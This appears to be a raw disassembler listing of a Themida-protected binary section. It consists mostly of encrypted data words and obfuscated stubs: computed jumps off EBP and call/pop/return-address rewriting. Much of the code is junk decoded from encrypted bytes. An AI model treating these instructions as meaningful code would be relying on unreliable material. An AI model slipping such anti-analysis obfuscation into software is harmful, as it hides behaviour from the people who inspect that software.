dd 5CCEC2F7h, 0D516B782h, 0EC564521h, 8A8D1CAh, 0F4A0DF91h
dd 32D55470h, 482501F5h, 899h, 6E14A700h, 5F8E1633h, 3D80326Dh
dd 64995249h, 3A7519B0h, 5D9E4F46h, 3F7E32A9h, 51903453h
dd 448126A5h, 5B943950h, 417830A7h, 5450CF55h, 40558h
dd 0E8830000h, 24048704h, 0E089505Ch, 405h, 42D00h, 4870000h
dd 3C895C24h, 70E6824h, 0C890000h, 1EB85024h, 0F70F8138h
dd 43BC0DD8h, 2D405D64h, 218A5FEEh, 0E4FA2D40h, 5F50D5DDh
dd 0C8B5458h, 4C48324h, 4EC81h, 3C890000h, 8418F24h, 592434FFh
dd 0FF04C483h, 835F2434h, 0B9E904C4h, 80FFF9F6h, 6774E65Dh
dd 0F48589DEh, 0D3472AEFh
db 0F0h
; ---------------------------------------------------------------------------
loc_5B3E2D: ; CODE XREF: Themida_:loc_5B3742j
mov eax, 6168947h
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
dw 89E9h
db 0CCh
db 37h, 0D7h, 83h
dd 0AEF03954h, 0F7FE7B24h, 7B080A1Ch, 34650937h, 39712821h
dd 0D4384DECh, 51B03A40h, 672E230Bh, 1B185E64h, 0FA7B13D8h
dd 874D1163h, 0F9F9261Dh, 0B93D6F32h, 68B81876h, 0BFDE6488h
dd 71426F8h, 4F1205Ch, 87EB1B37h, 5A404D2Eh, 966F512Ah
dd 2F095860h, 1EAA240Ah, 0D720343Bh, 21B817B0h, 11E80DAFh
dd 3C000000h, 0E9C702EFh, 0A9010129h, 0FCF2A1FAh, 2026B4BFh
dd 4F5C8EBBh, 97BF5E2Ah, 8159EA2Bh, 5FD3C6h, 0FE86000h
dd 21000000h, 77D21670h, 78195D6h, 90C7532Bh, 6160A328h
dd 3820F5Eh, 66000000h, 2B61C88Bh, 0C38166D2h, 34FFAD9Ah
dd 0E959F932h, 9, 8ED918ACh, 1845A44Ah, 0FE981D8h, 0F5D59CBh
dd 38Bh, 0FBBF0F00h, 494FE981h, 8B665232h, 5DE981D9h, 895DE29Bh
dd 0B0BF160Ch, 0F3F91D8h, 8Ah, 2EA8300h, 0F4A4AF5h, 0FA81D8BFh
dd 0FFFFA0F4h, 19850Fh, 0F88B0000h, 25E9h, 0C8EB3900h
dd 0EF020732h, 0BB55E828h, 0B933E0F1h, 0F5F95A12h, 0FFFF8DE9h
dd 1ECF5CFFh, 7B49F7B4h, 0AE078E6Ch, 25E947B4h, 5D000000h
dd 7B42ECh, 8 dup(0)
; ---------------------------------------------------------------------------
jmp loc_5B43E6
; ---------------------------------------------------------------------------
push 6168C4Eh
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 6168CCEh
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 6168DF3h
jmp loc_5534D8
; ---------------------------------------------------------------------------
db 0E2h
dd 0EA71ED30h, 0C84F0B42h, 0E574E821h, 0D2490542h, 7D6BDF1Eh
dd 0F231D301h, 0CD0EBF36h, 0A9E48A11h, 0C8FDA635h, 64271914h
dd 6BDAF7DEh, 0D7F3B936h, 6F235E04h, 0AB5DD6F3h, 0B259926Ch
dd 0C2BBA547h, 0B7CED0ADh, 25FDB10h, 1316E8F3h, 67FCC48Eh
dd 0A7324C28h, 0F5B1C605h, 3CC418A6h, 29C8FB94h, 7A7E01CCh
dd 2B4E139h, 152B0000h, 8227B2BAh, 9182CE40h, 0A1C5249Bh
dd 0F233D6F5h, 4D6CF9CEh, 0C68FBC8Eh, 1C258DFDh, 4B3E2237h
dd 67FC0CD6h, 845A74F0h, 3C753D85h, 805DD994h, 0EB3708AFh
dd 0A3329159h, 32632638h, 0CC9B76B3h, 0C84FA450h, 0E195D478h
dd 718F6185h, 0ED0A43EAh, 86B9FE36h, 0E1919691h, 0C9927265h
dd 284137C1h, 0DAF6F26Ah, 0B66AA95Bh, 87C496BAh, 0A8E1A77Ah
dd 0C197B415h, 0A01C51FAh, 0E9A27219h, 483C7319h, 181C08ECh
dd 4A2D8F3Ch, 53434383h, 27242h, 0FF42E400h, 0DD14CC4Bh
dd 0FA33DA61h, 0D714B73Eh, 0F130D463h, 0C1334F3Dh, 0DD5CD00Fh
dd 0E86FEB2Ch, 0C4530742h, 7772E61Bh, 0F03C8685h, 0DBD86BDAh
dd 15BD5C51h, 0A467670Bh, 6DCCD61Eh, 7F4D7AF6h, 0EB05E191h
dd 0F6559A40h, 0DCEE6A67h, 4E943702h, 87BE4095h, 0E3FDD9DFh
dd 261C9A28h, 0C99E7A94h, 0DF845E12h, 4E72EEA2h, 6AA95BDAh
dd 1C54EFB6h, 40E79426h, 62705E0Bh, 61E4A03h, 1F29Dh, 7FC26400h
dd 5D944CCBh, 7AB35AE1h, 579437BEh, 71B054E3h, 41B3CFBDh
dd 5DDC508Fh, 68EF6BACh, 44D387C2h, 0F7F2669Bh, 0F0BC0605h
dd 5B586BDAh, 83BD5CD1h, 8D449DDDh, 39BA2B0Fh, 3927391Dh
dd 0E95314h, 8B603F04h, 0F6E73AA0h, 0A24ECA67h, 25A94BF3h
dd 7A19AA94h, 81552E7Fh, 1400E39h, 327C0000h, 39504479h
dd 0D20BC292h, 0AA1E421Eh, 431DBE55h, 7B32301Dh, 0BE3DAA25h
dd 68D902A9h, 312D67FCh, 1FA81645h, 0F54B943Ch, 2AA5DF8h
dd 0A6C34599h, 327B7E15h, 0A2397A8Ah, 260835A9h, 2F3C7B23h
dd 995A2C5Dh, 0B315320Eh, 23h, 83BD5C19h, 0B1CBA7DCh, 0FC7CD9FAh
dd 35E13D67h, 2383D866h, 0E9883B94h, 7B36C10Ch, 8DA139h
dd 0D7EB0000h, 740FEB96h, 6E32A7Dh, 0B561964Dh, 0C4D00BBh
dd 0E6C064EFh, 79100441h, 89ED99D6h, 0FE9D896Dh, 65641045h
dd 16D589BEh, 6DCC648Ah, 0BB6FA45Bh, 728C4F66h, 0FAD189B7h
dd 0F30D6967h, 0C985C468h, 1DC49E52h, 655B00E4h, 2B4A04A8h
dd 0CD6A7Bh, 8F3F0000h, 6309904Ch, 8429B02Ch, 63088F4Bh
dd 8123B226h, 64A08642h, 971352F6h, 0B02C6D20h, 8E4A8529h
dd 0AF2B6007h, 79C9C0BCh, 9D6BDAF1h, 7E327440h, 530C8B3Fh
dd 321CAA1Eh, 0AF2A4479h, 0FDA9BEFDh, 0B25525DEh, 88DD5175h
dd 99906A71h, 67FCCAA8h, 41F8D24Eh, 2DDC508Fh, 9423CD91h
dd 14C8FDA6h, 0BDFEAF2Ah, 0C3906DC9h, 3C2EE221h, 6A03F50Fh
dd 0A2B789ADh, 5227h, 0BD5C9500h, 0F95D4C1Eh, 567F687h
dd 0A55E7D29h, 863DBC70h, 95F6A551h, 8E1151AAh, 2DBEF9F2h
dd 9BE3C1A1h, 0DF46DDBEh, 0C037F328h, 0A71ED207h, 0C9DBC704h
dd 0F19A9B3Ah, 7017A2BCh, 8EC37C3Bh, 0CD7605B9h, 620E49FDh
dd 0A52EE2FEh, 3, 326D5F17h, 52493D80h, 19B06499h, 4F463A75h
dd 32A95D9Eh, 34533F7Eh, 26A55190h, 39504481h, 30A75B94h
dd 0CF554178h, 81E68956h, 4C6h, 4EE8100h, 87000000h, 895C2434h
dd 2E68243Ch, 89000077h, 8952243Ch, 4C281E2h, 83000000h
dd 148704EAh, 1C895C24h, 47B95124h, 0C1565955h, 0F75103E9h
dd 81592414h, 225E07F1h, 59CF89F3h, 4EC81h, 24890000h
dd 24048324h, 89525B04h, 85389FAh, 8124148Bh, 4C4h, 241C8B00h
dd 81E18951h, 4C1h, 4C18300h, 5C240C87h, 5F2434FFh, 4C481h
dd 1E90000h, 0CCFFF9F1h, 68FAE62Bh, 41C83024h, 0C8E699DBh
; ---------------------------------------------------------------------------
cmpsd
cli
loc_5B43E6: ; CODE XREF: Themida_:005B3F98j
mov eax, 6168EE5h
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
cld
add [ebx+42h], esp
adc [esp+ecx*8-5FE72BA5h], edi
daa
lea ecx, [ebp+6169055h]
jl loc_5B440D
mov edi, [ebp+6102A89h]
loc_5B440D: ; CODE XREF: Themida_:005B4401j
mov [ebp+61009F5h], ecx
jz loc_5B441C
sbb bh, 38h
loc_5B441C: ; CODE XREF: Themida_:005B4413j
mov dword ptr [ebp+6102319h], 6698h
push 0
push esi
call sub_5B4431
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B4431 proc near ; CODE XREF: Themida_:005B4429p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Ah
inc esi
push esi
retn
sub_5B4431 endp
; ---------------------------------------------------------------------------
db 0CFh, 30h, 4Dh
; ---------------------------------------------------------------------------
sar cl, 1
fcmove st, st(5)
mov [ebp+6100CB1h], edi
mov dword ptr [ebp+61022C1h], 0
push 0
push ecx
call sub_5B4463
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B4463 proc near ; CODE XREF: Themida_:005B445Bp
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 19h
inc ecx
push ecx
retn
sub_5B4463 endp
; ---------------------------------------------------------------------------
db 7Eh
dd 2AECADF1h, 6E9C6h, 5EF10000h, 0B2B3B5DDh, 232DB5FFh
dd 81660610h, 0FF2930EAh, 102DB995h, 53006A06h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1C04h, 0C3534300h, 1317C8B6h
dd 80BFA89Ah, 0FF006ADAh, 1031C995h, 0EBC08B06h, 637B0679h
dd 28048559h, 0B651AA7h, 4082700Dh, 70E691DCh, 0BCC08025h
dd 0AE10C602h, 7B8484EFh, 9FA49419h, 0E9F098FBh, 20FC8D7Ch
dd 2C30881Ah, 584D4805h, 2925AB6Bh, 7775915h, 3C8EB3B1h
dd 94EB05E1h, 3CD3131Eh, 276B84F4h, 14BB2276h, 63E6029Ch
dd 1AAD7FDAh, 8885D5D3h, 8D17A2E5h, 0D85A4BF5h, 68CD2151h
dd 50BC0EB1h, 262E56EFh, 2E599ACAh, 0CA7C70A7h, 8D8D3108h
dd 6169191h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 18h, 32C35646h, 0D8AC7415h, 0F059D89h, 8D890610h, 61009F5h
dd 0C7C68166h, 1985C701h, 4061023h, 6A00006Bh, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
dd 2D7DC351h, 85C762AEh, 61022C1h, 0
; ---------------------------------------------------------------------------
push 0
push ebp
call sub_5B45B3
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B45B3 proc near ; CODE XREF: Themida_:005B45ABp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 15h
inc ebp
push ebp
retn
sub_5B45B3 endp
; ---------------------------------------------------------------------------
adc eax, 51B5FFD3h
pop ds
adc [esi], al
push 0
push edx
call sub_5B45D6
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B45D6 proc near ; CODE XREF: Themida_:005B45CEp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 16h
inc edx
push edx
retn
sub_5B45D6 endp
; ---------------------------------------------------------------------------
dw 0F672h
; ---------------------------------------------------------------------------
push ebp
call dword ptr [ebp+6102DB9h]
mov esi, [ebp+6100A59h]
push 0
call dword ptr [ebp+61031C9h]
mov eax, eax
jmp short loc_5B464F
; ---------------------------------------------------------------------------
db 0F2h, 51h, 9Bh
dd 5CF241A1h, 0CF740EF9h, 0A0B8CFA6h, 1DE3D1C8h, 3515DD7Eh
dd 6C3DC529h
; ---------------------------------------------------------------------------
loc_5B461C: ; CODE XREF: Themida_:005B4677j
or [ebx], dh
inc ecx
or al, 11h
test [esi], dh
sub [eax], eax
aad 34h
cmc
in al, dx
push edx
xchg eax, edi
dec edx
add esi, [ebp-70h]
push ss
xor dh, ch
call far ptr 39ACh:3B3B4FAh
hlt
; ---------------------------------------------------------------------------
dw 2063h
dd 5EF6ED3Bh, 6FBA1F74h
db 23h, 14h
; ---------------------------------------------------------------------------
loc_5B4646: ; CODE XREF: Themida_:005B4690j
in al, 0F6h
pop es
push es
xor eax, 70DA4A5Ch
loc_5B464F: ; CODE XREF: Themida_:005B45FFj
push ebx
and eax, 0BF5DB161h
and dh, [ecx+1A0C56AEh]
pop ecx
add ds:550CC3E1h, cl
mov gs:[esi+edi*4+324AEB3Bh], al
mov cl, 32h
push esp
cmp esi, [ecx+305256BAh]
mov dl, 0CBh
nop
scasb
loopne loc_5B461C
push ebx
mov cl, 57h
pop ecx
mov ch, 0BCh
stosd
push esi
xor bl, [eax-23h]
push esi
xor dh, [ecx+4E4AD3EFh]
cmp eax, 9270B311h
db 64h
jnz short loc_5B4646
push eax
push esi
xor dh, [ecx+1185A2C3h]
mov byte ptr [ecx+edx*8], 95h
db 66h
jnp short loc_5B46EE
fcomp qword ptr [edi]
mov esi, 56EAB13Eh
les esp, [ecx-21D0F3F5h]
mov dh, 91h
xor [ecx-78h], edx
retn 333Dh
; ---------------------------------------------------------------------------
db 0AEh
dd 9B13256h, 0A4B13237h, 0D5B124DDh, 0EAA0DB56h, 0E5E93256h
dd 7877A6A5h, 93DA7F7Bh, 0C195C70Ah, 573E90BBh, 0ABA2DB56h
dd 0CB673256h, 9893056Bh, 73FC0466h
; ---------------------------------------------------------------------------
test [ebx], esi
loc_5B46EE: ; CODE XREF: Themida_:005B469Fj
cmp ah, ah
mov eax, ds:20CB2FF1h
xor dh, [ecx-4EC64032h]
push edi
push esi
sbb al, 27h
sub eax, 0CC2B3812h
add eax, [eax-46A6CE2Fh]
mov bh, 75h
push esi
xor dh, [eax]
push esp
std
mov eax, esi
xor eax, 0CEB13237h
mov edi, 5657B120h
std
fdivr st, st(4)
hlt
; ---------------------------------------------------------------------------
db 53h, 50h, 0E5h
dd 5D18C619h, 56BDB969h, 315045B5h, 5DB1538Ch, 0AEBBBA59h
dd 0E1D13256h, 0AB3F3DE6h, 0B4B13256h, 0EAB9DB36h, 0A9623256h
dd 0E494BCECh, 3C4D8A7Fh, 0AEEB7CCAh, 0B8B13256h, 3013B3E0h
dd 0DAD13256h, 0EAB134D2h, 1257B356h, 2E8A760h, 32AA8BDh
dd 0F29DA837h, 36438D56h, 2ABE3256h, 0D5B1325Ch, 0EAB137BFh
dd 27DAE356h, 53D1D11Ah, 5DB1325Dh, 436133A0h, 0CAC71ABBh
dd 0CB9274F2h, 0D5B137BEh, 3CA34F56h, 0C3EACAACh, 0BAD053DAh
dd 5DB1CB56h, 0AEB13CBFh, 300BD556h, 2AA6C422h, 0B5718667h
dd 8AC8414Fh, 0BC25E4D7h, 31D7245Fh, 5DB15394h, 0EB57B336h
dd 37C7EE3Ch, 0ABB13EBFh, 0E4FAE856h, 0F8EDAF08h, 98860C89h
dd 596F8B2Ch, 3CD035CAh, 0AEB0B859h, 57493256h, 0ABB1CE56h
dd 0D5B13ABFh, 0C94BF156h, 3C24DC27h, 0B5B132BFh, 5DB13AD6h
dd 0AC303D56h, 37B13256h, 0A4B13237h, 0D5B133D7h, 0E458C756h
dd 95B13256h, 0B34C69Dh, 0BF8ACDF7h, 20EB7BD2h, 37B132D3h
dd 266585EFh, 0B442B974h, 63BE3256h, 75B13241h, 0BAB120BFh
dd 9A75E556h, 4FB6955Dh, 57AFB188h, 0A61653A6h, 3CF15182h
dd 0EAB13251h, 0A11E3FEEh, 0BABC7A13h, 4E585256h, 67B13256h
dd 0FC45D32Bh, 0CBEE208Ah, 0DC947998h, 0C2A0FA36h, 0F4D7B87Ch
dd 0DB8A6DB0h, 5D4D3256h, 64305256h, 5EAC8E69h, 0ABB13FBFh
dd 5F5F3E56h, 7E7CEEDh, 6ACAA075h, 0BAD0706Dh, 5C333D56h
dd 5BB13256h, 57493256h, 0ABA2DB56h, 49F93256h, 0A96B7DA0h
dd 8E04A7F4h, 0EDE20968h, 0A95BF64Ah, 0B9373D0Ch, 0BEB13256h
dd 0ABB13244h, 0A78B247Eh, 777B896Eh, 0AE12BCC6h, 0B99437D5h
dd 5DB1F0E8h, 52B132A3h, 0AFD13256h, 0A4D0D6E0h, 0D5B133D4h
dd 0EAB1CE56h, 75B13EBFh, 36A1356h, 0C868537Ch, 8E6B28CCh
dd 0BEB1325Eh, 0ABB1325Ah, 1E2009B2h, 4F2FC261h, 63EDF386h
dd 0BAB138BFh, 5F3A8756h, 43E2CB1Dh, 55C01F28h, 0ABB13256h
dd 0D2B6E5A3h, 0F7B13256h, 69B12356h, 31B11756h, 0A8B13256h
dd 0A5363D37h, 0BEB13256h, 0ABB13250h, 0D0FFE113h, 0EAB1C754h
dd 89B132AEh, 53D13256h, 5DB13258h, 4CE96C64h, 83005CA5h
dd 4F13B2E1h, 0B3D1C7E2h, 6CBEE4DDh, 75B13256h, 0BAB15337h
dd 5D3C3D36h, 0C8B13256h, 57D0CCDDh, 0A7595256h, 0BB13256h
dd 87E1980Fh, 0F0550BEAh, 0DCF18B77h, 0FE8F3DDh, 0AEB137BFh
dd 9A53C856h, 0CAE8937Dh, 0D5483256h, 0EAB37956h, 75B0BC59h
dd 0BA4D3256h, 0DDB37956h, 15EE17A6h, 316F329Ah, 0CBB13237h
dd 0D5B8DA00h, 0A8363256h, 11D69880h, 0E5BA847Fh, 5F333D08h
dd 18B13256h, 72153E5h, 0ABA1DB04h, 24293256h, 0C7F56580h
dd 5C01C134h, 5F6D7DF8h, 6CBE59ECh, 0AEB13EBFh, 452C4656h
dd 0F528D2B5h, 0BFE43E69h, 0BAE9680Dh, 75A3DB36h, 69733256h
dd 72BF3B46h, 0E5ABF76Ah, 7057737Eh, 68C34F82h, 0DE602DE8h
dd 9E215352h, 0E85220CBh, 0E8E16237h, 5DB13DBFh, 7F496956h
dd 5A150560h, 0A2A1E194h, 108D1D58h, 0EC580359h, 93B13256h
dd 0C8CCE671h, 0CDE96895h, 0A164BEE9h, 58E36267h, 0F1E96867h
dd 45E9680Eh, 2F8D1D58h, 3499794Ch, 0C76515B0h, 0DCD7F124h
dd 47248CA0h, 57B13242h, 907B073Ah, 0C227830Eh, 5993DF52h
dd 7ADFDB26h, 91CB97CAh, 0B42D53CBh, 0AEB1325Dh, 85EC0651h
dd 0B5E892F5h, 55A4FEA9h, 0EC588A9Ah, 83B13256h, 387C56A1h
dd 0D4D0AFC5h, 0CEB51612h, 57BCDBCAh, 0DB03256h, 0E78CA6B1h
dd 948832D5h, 0F5441E89h, 0BC582AB6h, 0BB13256h, 4C1CF681h
dd 0FD0AF25h, 6A193256h, 28E59530h, 137171A4h, 0C05DAD68h
dd 0E42C891Ch, 0B4C16A37h, 0B2D3D38h, 0FEB192Ch, 0ABB1320Eh
dd 0D5B13BBFh, 0B9224256h, 8569E1B9h, 0BA4969FFh, 53595256h
dd 48B13256h, 6F6AAAEh, 831BF340h, 7694D74Bh, 35063DAEh
dd 75B1530Fh, 0BAB135BFh, 0E351F456h, 0DA8E28D7h, 5F583256h
dd 3B13256h, 169C42A8h, 8A68B7DAh, 0CB6DCDEEh, 0BAB15329h
dd 0BF305436h, 56D08B15h, 57443256h, 0BA313D56h, 3CB13256h
dd 0EAB1325Ah, 0AECFC124h, 0FAAA420Ah, 579B9AE9h, 0AEB135BFh
dd 773E9F56h, 0A03CEE1h, 0B3D13256h, 8CE1F9DDh, 14EEEADDh
dd 0BAB9BB59h, 52D13256h, 0AEB132D0h, 57B15356h, 0AD3E3DAAh
dd 0B5B13256h, 31063DAFh, 8DB13237h, 0BA4D3256h, 5C323D56h
dd 57B13256h, 0D4BE3256h, 0ABB13257h, 20B132AFh, 63BE3256h
dd 75B1325Ch, 753A5436h, 9D68B330h, 0AEB153F4h, 0E9BB8536h
dd 8862A8AFh, 0DAB13237h, 0EAB13AD4h, 77383D56h, 0DAB13256h
dd 0A4B13237h, 0A1D13256h, 57B133D7h, 0A259CE56h, 0F4B13256h
dd 0FF71DDBCh, 137C4D6Ch, 0DBEEC8E1h, 5D493256h, 0A9343D56h
dd 37B13256h, 0CB738D59h, 0D5B15337h, 87848D36h, 75D06595h
dd 0AF363D56h, 0B4B13256h, 0AEB13246h, 0A8E7FCD3h, 0A42C11D0h
dd 89893F35h, 4CA4E6E9h, 75493256h, 0BABCDB56h, 2B373256h
dd 0BC01DE25h, 1BBA0C9Dh, 0AB5DCA9Ch, 0D5A2DB56h, 6AB33256h
dd 0AB3C591h, 71BD0193h, 0BB7B8836h, 26F7496Dh, 0AEB132BAh
dd 0CDD13256h, 30C3E1D7h, 0EAD0CADDh, 75B8DB56h, 11353256h
dd 0A3CC869Ah, 0AE9218A5h, 57B1CB56h, 0ABBBB259h, 61D13256h
dd 0EA3C3DFBh, 14B13256h, 0BA493256h, 5C313D56h, 5BB13256h
dd 5E583256h, 49B13256h, 0D8695421h, 9327D919h, 8DD13256h
dd 0BAD0AEE7h, 5DA3DB56h, 63013256h, 0FD963DD7h, 0BF04DC8h
dd 6732A0EDh, 3D670BF8h, 0FFBE3256h, 0BAB1325Ah, 5DB7B559h
dd 2DBE3256h, 57B13256h, 0AB483256h, 0DE585256h, 0B5B13256h
dd 0AD60BD92h, 9F0729D8h, 5DD06220h, 0AEBBDB56h, 41093256h
dd 0BF32EE1Ch, 557339D2h, 0EA4D3256h, 75BEDB56h, 6FE43256h
dd 1C40F861h, 31993E74h, 0EAD20D49h, 42B1326Ah, 0D5B1325Ah
dd 0C6592BC1h, 491C334Bh, 0F0E45358h, 5D4D3256h, 25D75256h
dd 5258529Dh, 0E1B13256h, 0FB799560h, 8B6B8559h, 9CB13237h
dd 0BAB13251h, 479A020Bh, 0AE347277h, 0D1C756h, 0CAEB6B04h
dd 0B3D13256h, 0A5D5C3D7h, 4343B330h, 0BAB15307h, 5DB120BFh
dd 0A602F956h, 0D909BFD6h, 8814B16Dh, 0CFDD951Ch, 0EA957F6Ah
dd 6F323D56h, 0B5B13256h, 5DB126D7h, 0AEBEDB56h, 59303256h
dd 81DABB9Ah, 711E6F3Dh, 8B6CC01Eh, 15B1325Ch, 2872B330h
dd 5894897Dh, 0A1D011D3h, 57B124DDh, 0ABA0DB56h, 0F5703256h
dd 0A7ABEBFh, 40B8321Bh, 0CFFF31A3h, 5D6635ABh, 0AEB1CB56h
dd 57B0B159h, 53493256h, 0D54D3256h, 0EABDDB56h, 6B793256h
dd 0E6C0F329h, 759A3CF0h, 0AE44DBE2h, 57BCDB56h, 0C9A43256h
dd 690DA8E9h, 9BC00EA8h, 75EE0E3Ah, 0B0303D56h, 0B4B13256h
dd 0AEB13253h, 1D6CD7D3h, 2FBE5207h, 0D5B13242h, 0EAB13DBFh
dd 318B4A56h, 0F73EC218h, 0CE772513h, 1168A97Fh, 57B126BFh
dd 0C5F56856h, 0CB5E1A2Ah, 0AE589A02h, 8A5D42E1h, 55E4460Ah
dd 5DB15313h, 0AEBDB659h, 0D4BE3256h, 0ABB13250h, 0D5B1B859h
dd 0EAB13256h, 75B126BFh, 19A32A56h, 730BCE29h, 26BF3794h
dd 6A9E31F2h, 0F61DB588h, 0DAB1322Ch, 0EAB126D6h, 75BEDB56h
dd 253B3256h, 1286F217h, 0D4E202C3h, 0AAA62032h, 42B13237h
dd 0D5B13258h, 2652645h, 10954917h, 541ACC3h, 5DB1404Eh
dd 0AEB0B859h, 57443256h, 0BF585256h, 0A7B13256h, 40DD256Dh
dd 639B6E43h, 0BE0A0082h, 0EC4D3EC0h, 0C8C3CCCCh, 57D0E1DDh
dd 0ABB1CE56h, 0B362B836h
dd 8C36F2D7h, 9CB13237h, 0BAB1325Ah, 9A780AC6h, 0F86862A0h
dd 90D15CB6h, 0CDD13256h, 5B24C5D7h, 0EAB13ABFh, 668F9156h
dd 0DE8A1BA5h, 5DB153EBh, 0CF44CA36h, 0D5BE3256h, 0ABB1325Ah
dd 0D5B7B559h, 6DBE3256h, 75B13256h, 0BA4D3256h, 5DB6DB56h
dd 0F7EB3256h, 0EC90D38h, 0ABB4DBAAh, 79073256h, 0EA4E2AF4h
dd 9CD15256h, 0BAB1325Ch, 9DAFF121h, 47C4607Ch, 8A06F799h
dd 9E0B5437h, 0D5B153B1h, 0A90E5436h, 0B41B20Fh, 53B13237h
dd 5DB13242h, 0E04F0C22h, 0A3B0009Ch, 0BC7791DDh, 795E3407h
dd 9C2DFA53h, 7F583256h, 23B13256h, 235E3A6Eh, 0F0C34E9h
dd 843B5285h, 0ABB13ABEh, 9538C156h, 0D40E140Bh, 0A43A54C1h
dd 0BAB1530Eh, 5DB13CBFh, 39FF4756h, 99A19400h, 0F8B3F16Dh
dd 0D5AFA01Ah, 0EAB1C756h, 0B270B336h, 0DCC0C364h, 3C8CAEE8h
dd 0A3583256h, 84B13256h, 5D6EE895h, 6E7380Eh, 0D1E83347h
dd 75B139BFh, 88D31456h, 0FAF0AE3Fh, 0A33F60FBh, 37D13256h
dd 998A30h, 0D5B1BE59h, 2D03256h, 75B13259h, 85A218D5h
dd 9154D8A1h, 0EBEACE78h, 0AF6ACCC3h, 0ABB1530Fh, 0DAB132AFh
dd 0EAB137DAh, 2EE35256h, 0BAB153AEh, 3DB132AFh, 4531C3DCh
dd 57B153F0h, 0ABB0B059h, 3C493256h, 0EAB1325Eh, 3955C83Ch
dd 5B55579Bh, 52D13256h, 0AEB131D8h, 0B474B256h, 437BB936h
dd 0D5B13247h, 562706B6h, 0E8D6FB4Eh, 4EFCBEBDh, 0CC00E781h
dd 0CFD06D37h, 43583256h, 0BAB13256h, 0D0CFA793h, 24776AA4h
dd 6417BB87h, 0A93CF08h, 5D55F39Eh, 0AEB4DB56h, 0F3653256h
dd 0AB0AE289h, 0D54DCB56h, 0EB3E3D56h, 8CB13256h, 0AE583256h
dd 0D1B13256h, 0AD4D04C7h, 0F3D4BF51h, 0D7C70B58h, 9FDD85C6h
dd 0EA9F6A1Ch, 743A3D56h, 4FB13256h, 5D493256h, 0AEA2DB56h
dd 0BBB3256h, 73B354C7h, 59D781FFh, 2C268C28h, 72742945h
dd 0B5B132F9h, 5DB13ADCh, 0AC3E3D56h, 37B13256h, 42B13237h
dd 0D5B1325Dh, 2FDCC9A4h, 0A147816Fh, 4F05FD04h, 0DBBE3256h
dd 0AEB13240h, 9E063D36h, 0ABB139BEh, 0F1339E56h, 0D54EB714h
dd 4831EA55h, 0BAB1530Fh, 0A1B132AFh, 0AE483256h, 57B7DB56h
dd 0B6553256h, 0F5B73A5Fh, 0EA4D3256h, 0C5D1C756h, 0BC3B3D4Fh
dd 52B13256h, 0AEB132D0h, 57B15356h, 0ABB6B359h, 52BE3256h
dd 0EAB13257h, 7AB132AAh, 0BAB120DCh, 5DBCDB56h, 6FE73256h
dd 5F473DBCh, 7067A7BBh, 0D5CBE822h, 0EAA5DB56h, 82203256h
dd 0F155A5CAh, 8E6F039Dh, 0ED77F58Fh, 0CE9BB338h, 0A158F521h
dd 0A7B13256h, 0C35C66AFh, 0D0C9093Bh, 53B1321Ch, 5DB13250h
dd 0EFBB47CBh, 0DBBE3953h, 0ABB13257h, 0B5B132A3h, 0EAB4B959h
dd 0BF083256h, 0DCF846E1h, 3CE12DEEh, 0AE493256h, 57B1C756h
dd 0ABB120BFh, 0B07D9856h, 2178D69Bh, 0E550F359h, 65077774h
dd 5D9140E4h, 29BE5256h, 57B13254h, 14BE5336h, 0D5B15394h
dd 0EAB0B559h, 754D3256h, 0AB3C3D56h, 0B4B13256h, 0AEB1325Ah
dd 0F783F17Dh, 0C4651B14h, 0F2E36E8Bh, 0EAB4DB36h, 0BF483256h
dd 0DD12C35h, 5DB15366h, 47B132AEh, 57B13245h, 0ADD98ED0h
dd 0BE0129D6h, 42CA27D5h, 666CB6E0h, 4F56AACEh, 58583256h
dd 87B13256h, 0DE9113ACh, 0AB483256h, 0D5B1CE56h, 0E8393D36h
dd 15B13256h, 0BAA3DA37h, 2A9E3256h, 2787965Bh, 5B9546FBh
dd 19296F3Ch, 9F3936B3h, 0EAD06AAFh, 74323D56h
db 56h, 32h, 0B1h
byte_5B52CF db 42h ; DATA XREF: Themida_:0054D610o
dd 0DDD13256h, 2FD77483h, 3681B08Ch, 0A6583256h, 40B13256h
dd 0B54D20E5h, 0EF5C657Ch, 0B2C45914h, 0D4BE3256h, 0AEB13257h
dd 58B132AAh, 0ABB13AD2h, 0D7313D56h, 8AB13256h, 15B13237h
dd 0BAB122BEh, 0A19E8E56h, 1675C81Ch, 8F4EBAA9h, 978E202Ah
dd 8E548576h, 0EAB2B959h, 0C2BE3256h, 0BAB1539Eh, 5DA1B659h
dd 2BBE3256h, 57B1325Ch, 0ABB137BFh, 0D0C84656h, 0EAB1FE65h
dd 99F98936h, 3BD72317h, 3C90FE84h, 2CBE3256h, 57B13257h
dd 5EB132AFh, 0D5B0BD59h, 0EA4D3256h, 7D3A3D56h, 0DAB13256h
dd 5DB1B059h, 0AED03256h, 57B1C756h, 527EB336h, 0B3B85706h
dd 0FED7E9D7h, 7AB13237h, 0BAB13EDCh, 5DB6DB56h, 5F733256h
dd 0E604C9Fh, 5EB132BDh, 3CD13256h, 0EAB13245h, 0C7D6CA8h
dd 157F0EBBh, 0C7EA1999h, 843330B6h, 37716ACAh, 0CA46B930h
dd 3CB13237h, 0EAB13258h, 984EF170h, 9F5FF324h, 0D1792728h
dd 0AEB18B4Eh, 37B132AFh, 0A24D8B36h, 0B4D0362Fh, 8CD13256h
dd 148DF1EFh, 0DAD13256h, 5DB13EBFh, 6BFC3D56h, 62CD038Fh
dd 0D22D335Ch, 3CD0CECBh, 0EAB13259h, 1F391616h, 16C28497h
dd 1AD6519Fh, 0CFB989D0h, 57493256h, 0BE3B3D56h, 3CB13256h
